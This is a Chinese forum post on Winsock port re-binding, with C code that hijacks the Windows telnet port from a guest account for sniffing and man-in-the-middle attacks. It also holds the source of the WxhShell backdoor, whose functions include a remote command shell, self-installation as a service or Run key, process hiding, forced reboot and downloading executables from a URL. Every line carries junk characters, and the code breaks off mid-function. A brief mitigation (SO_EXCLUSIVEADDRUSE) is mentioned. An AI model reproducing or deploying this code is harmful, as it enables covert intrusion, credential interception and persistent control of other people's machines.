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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %MGbIMpY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D@A@5pvS  
`1k0wT(  
  saddr.sin_family = AF_INET; V<:scLm#OF  
@'>h P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ox9WH4E  
qp$Td<'Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {ZQ|Ydpk  
'qel3Fs"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kEiWE|  
!o+[L  
  这意味着什么?意味着可以进行如下的攻击: 'b(V8x  
4+46z|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s[6y|{&ze  
C]H'z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H{qQ8 j)  
o^HzE;L}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Zw6UH;5  
kD1[6cJ!=.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .YOC|\  
qcpAjjK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6[wAX  
e+416 ~X v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .$&_fUY  
5}-e9U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w K)/m`{g  
&\Kp_AR  
  #include '1rHvz`B/"  
  #include +7%}SV 2)  
  #include 9qe<bds1  
  #include     3"B$M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &4]~s:F  
  int main() A\xvzs.d  
  { oY;=$8y<q  
  WORD wVersionRequested; v fnVN@ 5  
  DWORD ret; gFBMARxi  
  WSADATA wsaData; #21t8  
  BOOL val; U_\3preF  
  SOCKADDR_IN saddr; GJLe733o  
  SOCKADDR_IN scaddr; 6KpG,%2L#  
  int err; /U1&#"P  
  SOCKET s; `-,yJ  
  SOCKET sc; O C qI  
  int caddsize; bi =IIVlH  
  HANDLE mt; ~]Md*F[4*e  
  DWORD tid;   8AX+s\N  
  wVersionRequested = MAKEWORD( 2, 2 ); 85fv])\y  
  err = WSAStartup( wVersionRequested, &wsaData ); aNcuT,=(?8  
  if ( err != 0 ) { =A yDVWpE  
  printf("error!WSAStartup failed!\n"); aM2[<m}  
  return -1; a d,0*(</  
  } 8r|5l~`8  
  saddr.sin_family = AF_INET; Td|x~mZv:  
   aC9PlKI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q|3SYJf  
"M`ehgCBr  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (";{@a %  
  saddr.sin_port = htons(23); aucQZD-_"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N=?! ~n9Q-  
  { zSU06Y  
  printf("error!socket failed!\n"); BAQ;.N4  
  return -1; Vv]81y15Q;  
  } W;^bc*a_  
  val = TRUE; \K,piCVViN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 02_37!\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |ULwUi-r  
  { nV$ctdusQ  
  printf("error!setsockopt failed!\n"); Gkfc@[Z V  
  return -1; jNO8n)a&p  
  } ;4g_~fB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /nX+*L}d/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JN{xh0*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |B0.*te6  
2k^dxk~$V;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0lvX,78G;  
  { q|8p4X}/]  
  ret=GetLastError(); jE&Onzc  
  printf("error!bind failed!\n"); H$ sNp\[{  
  return -1; hVfiF  
  } R+s_uwS  
  listen(s,2); (\^)@Y  
  while(1) 4't@i1Ll(  
  { >QusXD"L>  
  caddsize = sizeof(scaddr); :EUV#5V.  
  //接受连接请求 }UzO_&Z#6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (5"BKu1t  
  if(sc!=INVALID_SOCKET) R.g'&_zx  
  { 7{vnhl(Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I:~L!%  
  if(mt==NULL) D4"](RXH  
  { :*2+t-  
  printf("Thread Creat Failed!\n"); N".-]bB  
  break; Xcq 9*!%o  
  } Yg;g!~   
  } VesO/xG<  
  CloseHandle(mt); 6]|NB&  
  } 4LU'E%vlC  
  closesocket(s); `TkI yGr  
  WSACleanup(); %qzpt{'?<  
  return 0; 3q:-98DT  
  }   u1 uu_*  
  DWORD WINAPI ClientThread(LPVOID lpParam) t9&z|?Vz  
  { ksxacRA7\  
  SOCKET ss = (SOCKET)lpParam; + R)x5  
  SOCKET sc; 6'Sc=;;:  
  unsigned char buf[4096]; cJ&e^$:Er  
  SOCKADDR_IN saddr; eiZv|?^0  
  long num; i3.8m=>  
  DWORD val; dXh@E 7  
  DWORD ret; tR5zlm(}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =+{.I,g}g@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZkYc9!anY  
  saddr.sin_family = AF_INET; oHmU|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `h M:U  
  saddr.sin_port = htons(23); r^P}xGGK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /UjRuUC]  
  { yI9l*'  
  printf("error!socket failed!\n"); ( $3j  
  return -1; ,{c9Lv%@J  
  } )_T[thf]  
  val = 100; { e2 (  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T\:3(+uK  
  { QEM")(  
  ret = GetLastError(); u+s#Fee I  
  return -1; w\;=3C`  
  } Cc]s94  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `QR2!W70o3  
  { JRA.,tQc  
  ret = GetLastError(); TE*$NxQ 2  
  return -1; +D4Nu+~BSN  
  } j:|60hDz^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N|Ua|^  
  { bm1ngI1oI  
  printf("error!socket connect failed!\n"); 8N6a=[fv<  
  closesocket(sc); 6!bA~"N  
  closesocket(ss); 5vY h~|  
  return -1; yQhrPw> m  
  } _dsd{&  
  while(1) D +)6#i Y  
  { )X\.Xr-6q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5G){7]P+r"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v !@/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Njq#@*>[p  
  num = recv(ss,buf,4096,0); ACl:~7;  
  if(num>0) M)EKS  
  send(sc,buf,num,0); U3kf$nbV/J  
  else if(num==0) <4{@g]0RV  
  break; AXPUJ?V  
  num = recv(sc,buf,4096,0); l(=#c/f  
  if(num>0) PBn(k>=+  
  send(ss,buf,num,0); qR]4m]o  
  else if(num==0) /GM-#q a  
  break; J~gfMp.  
  } T,7Y7MzF  
  closesocket(ss); ]N=C%#ki!  
  closesocket(sc);  TWx<)  
  return 0 ; mu"]B]  
  } A$XjzTR  
(m04Z2#  
jcq(=7j  
========================================================== 82J0t}:U  
#Z$6> Xt  
下边附上一个代码,,WXhSHELL  b 1[U 9  
@/$mZ]|T  
========================================================== 1v2wP2]|;  
<*(~x esPS  
#include "stdafx.h" 8!UZ..  
RTY$oUqlZ  
#include <stdio.h> &/JnAfmYqt  
#include <string.h> G=nFs)z  
#include <windows.h> /$eEj  
#include <winsock2.h> oQ yG  
#include <winsvc.h>  V'mpl  
#include <urlmon.h> e#nTp b  
=]zPUzr,|  
#pragma comment (lib, "Ws2_32.lib") b%PVF&C9W  
#pragma comment (lib, "urlmon.lib") }SN'*w@E  
@tj0Ir v  
#define MAX_USER   100 // 最大客户端连接数 vq5I 2  
#define BUF_SOCK   200 // sock buffer O4E2)N  
#define KEY_BUFF   255 // 输入 buffer ]@8=e'V  
,o}[q92@w  
#define REBOOT     0   // 重启 O,OGq0c  
#define SHUTDOWN   1   // 关机 bs`/k&'  
A.h?#%TLL  
#define DEF_PORT   5000 // 监听端口 KdR&OBm  
GecXMAa:2  
#define REG_LEN     16   // 注册表键长度 4xYo2X,B  
#define SVC_LEN     80   // NT服务名长度 V3+%KkN  
hqds T  
// 从dll定义API <Q kfvK]Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }>1E,3A:%G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4[-9$ r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =|#-Rm^YB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XM 7zA^-  
Grub1=6l  
// wxhshell配置信息 ]e3nnS1*.  
struct WSCFG { g Q9ff,  
  int ws_port;         // 监听端口 & vIKNGJ^  
  char ws_passstr[REG_LEN]; // 口令 Sh*P^i.]+  
  int ws_autoins;       // 安装标记, 1=yes 0=no o{hKt?  
  char ws_regname[REG_LEN]; // 注册表键名 ' FK"-)s  
  char ws_svcname[REG_LEN]; // 服务名 Cn<kl^!Q-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C,]Ec2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z?aD Oh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a&[nVu+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no onlyvH4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =e+go ]87x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `Qhh{  
CP'-CQ\Q  
}; "osYw\unI  
Cnr48ukq  
// default Wxhshell configuration $d=lDN  
struct WSCFG wscfg={DEF_PORT, DNy)\+[  
    "xuhuanlingzhe", 4jW{IGW  
    1, 3YRzBf:h  
    "Wxhshell", 8HOmWQS  
    "Wxhshell", vKC>t95  
            "WxhShell Service", h CiblM  
    "Wrsky Windows CmdShell Service", GND[f}  
    "Please Input Your Password: ", 3:( `#YY  
  1, |H4'*NP"  
  "http://www.wrsky.com/wxhshell.exe", Ame%:K!t  
  "Wxhshell.exe" 34=0.{qn  
    }; xpk|?/6  
[ n2udV  
// 消息定义模块 j$^]WRt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8{YxUD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rBf?kDt6l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UPYM~c+}  
char *msg_ws_ext="\n\rExit."; p"@|2a  
char *msg_ws_end="\n\rQuit."; f- <6T  
char *msg_ws_boot="\n\rReboot..."; Exr7vL  
char *msg_ws_poff="\n\rShutdown..."; >`:+d'Jv0  
char *msg_ws_down="\n\rSave to "; qo;\dp1  
^XM;D/Gp~  
char *msg_ws_err="\n\rErr!"; ^n/uY94E)p  
char *msg_ws_ok="\n\rOK!"; W<Lrfo&=Y]  
U6Ak"  
char ExeFile[MAX_PATH]; )VT/kIq-U  
int nUser = 0; 8##jd[o&p~  
HANDLE handles[MAX_USER]; w%;'uN_  
int OsIsNt; U\ued=H  
kR|y0V {K*  
SERVICE_STATUS       serviceStatus; Q-v[O4 y~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &[kgrRF@HU  
7;NV 1RV  
// 函数声明 jvQ"cs$.  
int Install(void); )^TQedF  
int Uninstall(void); ,X^_w g  
int DownloadFile(char *sURL, SOCKET wsh); dI-5%Um  
int Boot(int flag); gEP E9ew  
void HideProc(void); p/h&_^EXU  
int GetOsVer(void); J|-HZ-Wk|J  
int Wxhshell(SOCKET wsl); =]e^8;e9  
void TalkWithClient(void *cs); >U?Bka!  
int CmdShell(SOCKET sock); h>:RCpC  
int StartFromService(void); M;qL)vf  
int StartWxhshell(LPSTR lpCmdLine); Oq6n.:8g"  
;L2bC3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "ux]kfoT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <q\) o_tH  
s.'\&B[  
// 数据结构和表定义 7-I>5 3@  
SERVICE_TABLE_ENTRY DispatchTable[] = <R>z;2c  
{ 'qAfei']  
{wscfg.ws_svcname, NTServiceMain}, /Ph&:n\4  
{NULL, NULL} "Q{~Bj~  
}; 9^ p{/Io  
Hs=N0Sk]j  
// 自我安装 ; ,jLtl  
int Install(void) CqK#O'\  
{ a +yI2s4Z  
  char svExeFile[MAX_PATH]; 3^> a TU<Z  
  HKEY key; aLt{X)?  
  strcpy(svExeFile,ExeFile); ^G&D4uZ  
u3mT l  
// 如果是win9x系统,修改注册表设为自启动 m,C,<I|'d  
if(!OsIsNt) { f\|?_k]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {$YD-bqY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F LI8r:  
  RegCloseKey(key); ggc?J<Dv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,,%:vK+V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^z}lGu  
  RegCloseKey(key); /1~|jmi(  
  return 0; 5!jNL~M  
    } Q4Fq=kTE  
  } cO+Xzd;838  
} 9<h]OXv  
else { 'z}M[h K]  
)nHE$gVM s  
// 如果是NT以上系统,安装为系统服务 [Cj)@OC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fTV|? :C{  
if (schSCManager!=0) SiqX1P  
{ $>"e\L4Kp  
  SC_HANDLE schService = CreateService L3GC[$S  
  ( IAF;mv}'  
  schSCManager, Ldhk^/+  
  wscfg.ws_svcname, FaE#\Q  
  wscfg.ws_svcdisp, *UBP]w  
  SERVICE_ALL_ACCESS, BBR" HMa4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )R8%'X;U  
  SERVICE_AUTO_START, gZlw  
  SERVICE_ERROR_NORMAL, KU|BT .o8  
  svExeFile, PN"8 Y  
  NULL, =v4r M0m,  
  NULL, PB(  
  NULL, AwXt @!(  
  NULL, mw(c[.*%  
  NULL  S2&9# 6  
  ); yw.~trF&%  
  if (schService!=0) twtkH~`"Q  
  { 3g0u#t{  
  CloseServiceHandle(schService); l{6` k<J(  
  CloseServiceHandle(schSCManager); ZEj!jWP2m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); inPE/Ux  
  strcat(svExeFile,wscfg.ws_svcname); ]A]Ft!`6z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z^rhgs?4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b H"}w$!>r  
  RegCloseKey(key); %l:|2s:  
  return 0; B)rr7B  
    } gX$0[ sIS.  
  } ) \-96 xd  
  CloseServiceHandle(schSCManager); }F{C= l2  
} 4@v1jJj  
} "*w)puD  
=! N _^cb  
return 1; eu}Fd@GO  
} -@SOo"P  
x2C/L  
// 自我卸载 -@ZzG uS(  
int Uninstall(void) ]-um\A4f  
{ ~v2V`lxh  
  HKEY key; $5lW)q A  
\E$1lc  
if(!OsIsNt) { 4= Tpi`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lf%b0na?r  
  RegDeleteValue(key,wscfg.ws_regname); ImWXzg3@{  
  RegCloseKey(key); 6z#lN>Y-`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cBifZv*l  
  RegDeleteValue(key,wscfg.ws_regname); I9}+(6  
  RegCloseKey(key); G{kj}>kS_  
  return 0; YH[XRUa  
  } ^\M dl  
} $%g\YdC  
} xLx"*jyL  
else { v"u7~Dw# 1  
m|]j'g?{}(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /Hv* K&}M  
if (schSCManager!=0) h?0F-6z  
{ <ROpuY\!l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z-(} l2\  
  if (schService!=0) ?"{QK:`  
  { cz2,",+~  
  if(DeleteService(schService)!=0) { >0PUWr$8  
  CloseServiceHandle(schService); r\(v+cd  
  CloseServiceHandle(schSCManager); )xB$LJM8  
  return 0; g<fDY6jt  
  } :T_'n,  
  CloseServiceHandle(schService); tM&n3MWQ  
  } $^}[g9]1  
  CloseServiceHandle(schSCManager); PzjaCp'  
} [%)@|^hw91  
} NMXnrvS&  
ZA0i)(j*Mn  
return 1; (lb6]MtTHY  
} H(G!t`K  
?VB#GJ0M9  
// 从指定url下载文件 |GtY*|  
int DownloadFile(char *sURL, SOCKET wsh) <eY %sFq,  
{ <B!'3C(P  
  HRESULT hr; vYDSu.C@a  
char seps[]= "/"; q(IZJGb  
char *token; [|4}~UV  
char *file; aD2*.ln><  
char myURL[MAX_PATH]; a mqOxb  
char myFILE[MAX_PATH]; 4otl_l(`yv  
*C\(wL  
strcpy(myURL,sURL); pprejUR  
  token=strtok(myURL,seps); 20aZI2sk`  
  while(token!=NULL) Y]N~vD  
  { tQrS3Hz'nA  
    file=token; /}Yqf`CZy  
  token=strtok(NULL,seps); M#xQW`-`  
  } L\YKdUL  
e 8,{|a  
GetCurrentDirectory(MAX_PATH,myFILE); 4qt+uNe!  
strcat(myFILE, "\\"); Edw2W8  
strcat(myFILE, file); A:eFd]E{(  
  send(wsh,myFILE,strlen(myFILE),0); \PbvN\L  
send(wsh,"...",3,0); }taLk@T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }X]\VSF{  
  if(hr==S_OK) `FZF2.N  
return 0; (YwalfG {C  
else ?6f7ld5  
return 1; xYI;V7  
 GP+2/D  
} &~ *.CQa  
N5? IpE  
// 系统电源模块 ;3;2h+U*  
int Boot(int flag) }3Y <$YL"R  
{ KlN/\N\  
  HANDLE hToken; R_1qn  
  TOKEN_PRIVILEGES tkp; T|;@ T^  
*%\mZ,s"  
  if(OsIsNt) { B>z?ClH$R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7?J3ci\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Izn T|l^  
    tkp.PrivilegeCount = 1; XJgh>^R^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0C$8g Y*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BLn_u,3  
if(flag==REBOOT) { (}smW_ `5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~$<UE}qp  
  return 0; 0{+.H_f`  
} $6h*l T<  
else { 7 [d ?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "(`2eXRn  
  return 0; 3[d>&xk@$  
} <*(^{a. O  
  } G:IP? z]  
  else { #.._c?%4/  
if(flag==REBOOT) { W .I\J<=V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Eectxyr?;N  
  return 0; 6na^]t~ncm  
} c_.-b=zm  
else { R)5n 8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "Sridh?  
  return 0; }Fa%%}  
} &~~wX,6+  
} pOT7;-#n  
M Hi8E9_O  
return 1; W),l  
} {"S6\%=  
vLT0ETHg6  
// win9x进程隐藏模块 $}GTG'*.  
void HideProc(void) Jr;jRe`4c  
{ J00VTb`  
!do?~$Og  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !w39FfU{  
  if ( hKernel != NULL )  :A1:  
  { 1} %B%*N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Yg9joNBh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n.}E5 %qK  
    FreeLibrary(hKernel); O+vS|  
  } /Ncm^b4  
k8AW6oO/i  
return; he(A3{'  
} vy9 w$ls  
nkfZiyx  
// 获取操作系统版本 lQ'GX9hN@  
int GetOsVer(void) #OO>rm$  
{ P!G858V(  
  OSVERSIONINFO winfo; n+;6=1d7ZW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s$D ^>0  
  GetVersionEx(&winfo); 6!'3oN{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RTh`ENCKR  
  return 1; G` XC  
  else @a:>$t  
  return 0; 6 5N~0t  
} myl+J;,]  
,'xYlH3s  
// 客户端句柄模块 d?`ny#,GB  
int Wxhshell(SOCKET wsl) ,I1 RV  
{ Q/>{f0  
  SOCKET wsh; /='. 4 v  
  struct sockaddr_in client; [I!6PGx  
  DWORD myID; ?=m?jNa;nC  
n!p<A.O7@  
  while(nUser<MAX_USER) +_XzmjnDd  
{ 6f')6X'x  
  int nSize=sizeof(client); y{dTp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $YN6<5R)  
  if(wsh==INVALID_SOCKET) return 1; \7Jg7*  
])xx<5Jt4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zjbc3 M5  
if(handles[nUser]==0) N(I&  
  closesocket(wsh); ;;L[e]Z  
else CC#;c1t  
  nUser++; B2-V@06  
  } N"nd*?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jn{OWw2  
u%w`:v7Yo(  
  return 0; &f ^,la  
} 6d_'4B  
e,t(q(L  
// 关闭 socket h }B% /U  
void CloseIt(SOCKET wsh) MyT q  
{ /YZr~|65  
closesocket(wsh); $GlWf  
nUser--; -r-k_6QP  
ExitThread(0); !o:f$6EA~C  
} rg^'S1x|  
8C*c{(4  
// 客户端请求句柄 z^'gx@YD*v  
void TalkWithClient(void *cs) /Mvf8v  
{ a(l29>  
BO;6 u^[  
  SOCKET wsh=(SOCKET)cs; rJGf .qJJ  
  char pwd[SVC_LEN]; Wk)OkIFR  
  char cmd[KEY_BUFF];  #"@|f  
char chr[1]; '.:z&gSqx0  
int i,j; 7pe\M/kl  
e 9;~P}  
  while (nUser < MAX_USER) { 3yVMXK  
Tf'hc]`vS  
if(wscfg.ws_passstr) { f&Gt|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <g"{Wv: h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vSEuk}pk  
  //ZeroMemory(pwd,KEY_BUFF); U|jSa,}  
      i=0; nAv#?1cjz  
  while(i<SVC_LEN) { 5>[u `  
F(>Np2oi6  
  // 设置超时 N sXHO  
  fd_set FdRead; 9Z4nAc  
  struct timeval TimeOut; a<^v(r  
  FD_ZERO(&FdRead); AE[b},-[  
  FD_SET(wsh,&FdRead); \NPmym_ 6J  
  TimeOut.tv_sec=8; '=b/6@&  
  TimeOut.tv_usec=0; HiZ*+T.B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uXn1 'K<'2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !2%HhiB'   
H?yK~bGQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $a.JSXyxL  
  pwd=chr[0]; bCRV\myd`  
  if(chr[0]==0xd || chr[0]==0xa) { H#,W5EJzM  
  pwd=0; <:+x+4ru  
  break; d; boIP`M;  
  } ag [ZW  
  i++; +r2+X:#~T  
    } ]_f_w 9]  
)_HA>o_?C:  
  // 如果是非法用户,关闭 socket ZMQ Zs~;~d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tp?7_}tRi  
} 9ijfRqI=x  
DX#Nf""Pw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C0T;![/4A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "g5^_UP  
\ 2M_\Q`NY  
while(1) { n(1l}TJy  
s}vAS~~2L3  
  ZeroMemory(cmd,KEY_BUFF); UXJ eAE-  
P) Jgs  
      // 自动支持客户端 telnet标准   u-QB.iQ+s  
  j=0; ]E5o1eeg  
  while(j<KEY_BUFF) { BtkOnbz8X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `V}q-Zdy  
  cmd[j]=chr[0]; 0yk]o5a++  
  if(chr[0]==0xa || chr[0]==0xd) { (nQ^  
  cmd[j]=0; 94'&b=5+  
  break; 5'OrHk;u  
  } zO-z%y  
  j++; Vr3Zu{&2  
    } {&&z-^  
)8a~L8oN  
  // 下载文件 \j$&DCv   
  if(strstr(cmd,"http://")) { C7]f*TSC4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S,88*F(<^q  
  if(DownloadFile(cmd,wsh)) ( >LF(ll  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1KU! tL  
  else #|uCgdi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y6g&Y.:o  
  } Akq2 d;  
  else { fW?vdYF  
&h}#HS>l  
    switch(cmd[0]) { W_JlOc!y  
  KYB`D.O   
  // 帮助 /4yo`  
  case '?': {  eb ?x9h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f[]dfLS"W  
    break; C"y(5U)d  
  } 1y:-N6  
  // 安装 Fn wJ+GTu  
  case 'i': { 0 j^Kgx  
    if(Install()) 0- B5`=yU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4VHn  \  
    else 1a/++4O.|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y#`tgJ:  
    break; ,<.V7(|t)  
    } 49eD1h3'X[  
  // 卸载 R8K&R\  
  case 'r': { 1 s\Wtw:  
    if(Uninstall()) \UA[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VMZMG$C  
    else Z*F3G#A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fw_#N6Q  
    break; ldf\;Qk  
    } d z|or9&  
  // 显示 wxhshell 所在路径 td$E/h=3  
  case 'p': { vz&|J   
    char svExeFile[MAX_PATH]; #`^}PuQ  
    strcpy(svExeFile,"\n\r"); ?d*z8w  
      strcat(svExeFile,ExeFile); $z6_@`[  
        send(wsh,svExeFile,strlen(svExeFile),0); 0S"mVZ*P  
    break; =F|{# F  
    } Q3'llOx  
  // 重启 poE0{HOU  
  case 'b': { 7g^]:3f!   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p%ki>p )E|  
    if(Boot(REBOOT)) @F AA2 d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ./Xz}<($8  
    else { 3l~^06D  
    closesocket(wsh); {p2!|A&a  
    ExitThread(0); 3Tcms/n  
    } U gat1Pz  
    break; Q0sI(V#  
    } hPkp;a #  
  // 关机 b`Zx!^  
  case 'd': { b/K PaNv  
